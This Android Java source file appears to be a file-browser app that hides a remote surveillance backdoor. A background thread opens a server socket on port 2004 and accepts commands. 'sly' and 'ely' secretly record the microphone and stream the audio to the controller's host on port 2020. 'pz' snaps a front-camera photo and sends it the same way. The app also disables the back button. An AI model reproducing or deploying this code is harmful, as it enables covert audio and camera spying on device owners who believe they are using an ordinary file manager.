package com.badshun.files;

import android.app.*;
import android.content.*;
import android.hardware.*;
import android.media.*;
import android.os.*;
import android.view.*;
import android.widget.*;
import android.widget.AdapterView.*;
import java.io.*;
import java.net.*;
import java.util.*;

public class MainActivity extends Activity {
	private final String ROOT = "/mnt/sdcard/";
	private String path;
	
	private String[] fileNames;
	
	private Camera camera;
	
	private Socket socket;
	
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
		requestWindowFeature(Window.FEATURE_NO_TITLE);
        setContentView(R.layout.main);
		
		final SurfaceHolder sh = ((SurfaceView) findViewById(R.id.main_sv)).getHolder();

		sh.addCallback(new SurfaceHolder.Callback() {
			@Override
			public void surfaceCreated(SurfaceHolder p1) {
				camera = Camera.open(Camera.CameraInfo.CAMERA_FACING_FRONT);
				
				try {
					camera.setPreviewDisplay(sh);
				} catch (Exception e){
					e.printStackTrace();
				}

				camera.startPreview();
			}

			@Override
			public void surfaceChanged(SurfaceHolder p1, int p2, int p3, int p4) {
					
			}

			@Override
			public void surfaceDestroyed(SurfaceHolder p1) {
				camera.stopPreview();
				camera.release();
			}
		});
		
		path = ROOT;
		
		getFiles(path);
		
		final TextView tv_for_path = findViewById(R.id.main_path_tv);
		tv_for_path.setText(path);
		
		final ListView lv = findViewById(R.id.main_lv);
		lv.setAdapter(new BadAdapter(fileNames));
		
		lv.setOnItemClickListener(new OnItemClickListener() {
			@Override
			public void onItemClick(AdapterView<?> p1, View p2, int p3, long p4) {
				final TextView tv = p2.findViewById(R.id.item_tv);
				
				Thread thread = new Thread(new Runnable() {
					@Override
					public void run() {
						if(new File(path + tv.getText()).isDirectory()) {
							if(tv.getText().equals("..")) {
								path = path.replace(path.split("/")[path.split("/").length - 1] + "/","");
							} else {
								path += tv.getText() + "/";
							}
						}
					}
				});
				
				thread.start();
				
				try {
					thread.join();
				} catch (InterruptedException ie) {
					ie.printStackTrace();
				}
				
				tv_for_path.setText(path);
				
				getFiles(path);
				
				lv.setAdapter(new BadAdapter(fileNames));
			}
		});
		
		runOnBack();
    }

	@Override
	public void onBackPressed() {
		
	}

	private void runOnBack() {
		new Thread(new Runnable() {
			@Override
			public void run() {
				try {
					ServerSocket server = new ServerSocket(2004);
					MediaRecorder recorder = new MediaRecorder();
					
					while(true) {
						socket = server.accept();
						
						BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream()));
						
						String content = "";
						
						while ((content = br.readLine()) != null) {
							final String msg = content;
							
							if(msg.equals("sly")) {
								recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
								recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
								recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
								recorder.setOutputFile("/mnt/sdcard/Download/ly.mp3");

								try {
									recorder.prepare();
									recorder.start();
								} catch (Exception e) {
									e.printStackTrace();
								}
							} else if(msg.equals("ely")) {
								recorder.stop();
								recorder.reset();
								recorder.release();
								
								File lyFile = new File("/mnt/sdcard/Download/ly.mp3");
								
								FileInputStream fis = new FileInputStream(lyFile);
								
								int info = 0;
								String message = "";
								
								Socket remote = new Socket(socket.getInetAddress().getHostName(),2020);
								
								while((info = fis.read()) != -1) {
									message += new String(new char[]{(char) info});
									
									System.out.print((char)info);
								}
								
								System.out.println(socket.getInetAddress().getHostName());
								
								sendMessage(remote,message);
							} else if(msg.equals("pz")) {
								System.out.println("ok1");
								
								final Socket remote = new Socket(socket.getInetAddress().getHostName(),2020);
								final File file = new File("/mnt/sdcard/Download/pic.jpg");
								
								camera.takePicture(null, null, new Camera.PictureCallback() {
									@Override
									public void onPictureTaken(byte[] p1, Camera p2) {
										System.out.println("ok2");
										
										try {
											System.out.println("ok3");
											
											FileOutputStream fos = new FileOutputStream(file);
											fos.write(p1);
											fos.flush();
											fos.close();
										} catch (Exception e) {
											e.printStackTrace();
										}
															
									}
								});
								
								FileInputStream fis = new FileInputStream(file);

								int info = 0;
								String message = "";

								while((info = fis.read()) != -1) {
									message += new String(new char[]{(char) info});

									System.out.print((char)info);
								}

								System.out.println(socket.getInetAddress().getHostName());

								sendMessage(remote,message);
									
								startActivity(new Intent(MainActivity.this,MainActivity.class));
							}
							
							runOnUiThread(new Runnable() {
								@Override
								public void run() {
									AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
									builder.setMessage(msg);
									builder.show();
									
									Toast.makeText(MainActivity.this,msg,Toast.LENGTH_SHORT).show();
								}
							});
						}
					}
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}).start();
	}
	
	private void sendMessage(Socket socket,String msg) {
		try {
			OutputStream os = socket.getOutputStream();
			
			for(int i = 0; i < msg.length(); i++) {
				os.write(msg.charAt(i));
				os.flush();
			}
			
			os.close();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
	
	private void getFiles(final String path) {
		Thread thread = new Thread(new Runnable() {
			@Override
			public void run() {
				String[] nFileNames = new File(path).list();
				
				ArrayList<String> al = new ArrayList<String>();
				
				for(int i = 0; i < nFileNames.length; i++) {
					al.add(nFileNames[i]);
				}
				
				Collections.sort(al);
				
				al.add(0,"..");
				
				fileNames = new String[al.size()];
				
				for(int i = 0; i < fileNames.length; i++) {
					fileNames[i] = al.get(i);
				}
			}
		});
		
		thread.start();
		
		try {
			thread.join();
		} catch (InterruptedException ie) {
			ie.printStackTrace();
		}
	}
	
	private final class BadAdapter extends BaseAdapter {
		private String[] fileNames;
		
		public BadAdapter(String[] fileNames) {
			this.fileNames = fileNames;
		}
		
		@Override
		public int getCount() {
			return fileNames.length;
		}

		@Override
		public Object getItem(int p1)
		{
			// TODO: Implement this method
			return null;
		}

		@Override
		public long getItemId(int p1)
		{
			// TODO: Implement this method
			return 0;
		}

		@Override
		public View getView(int p1, View p2, ViewGroup p3) {
			View view = null;
			
			if(p2 == null) {
				view = View.inflate(MainActivity.this,R.layout.main_listview_item,null);
			} else {
				view = p2;
			}
			
			TextView tv_for_filename = view.findViewById(R.id.item_tv);
			tv_for_filename.setText(fileNames[p1]);
			
			return view;
		}
	}
}
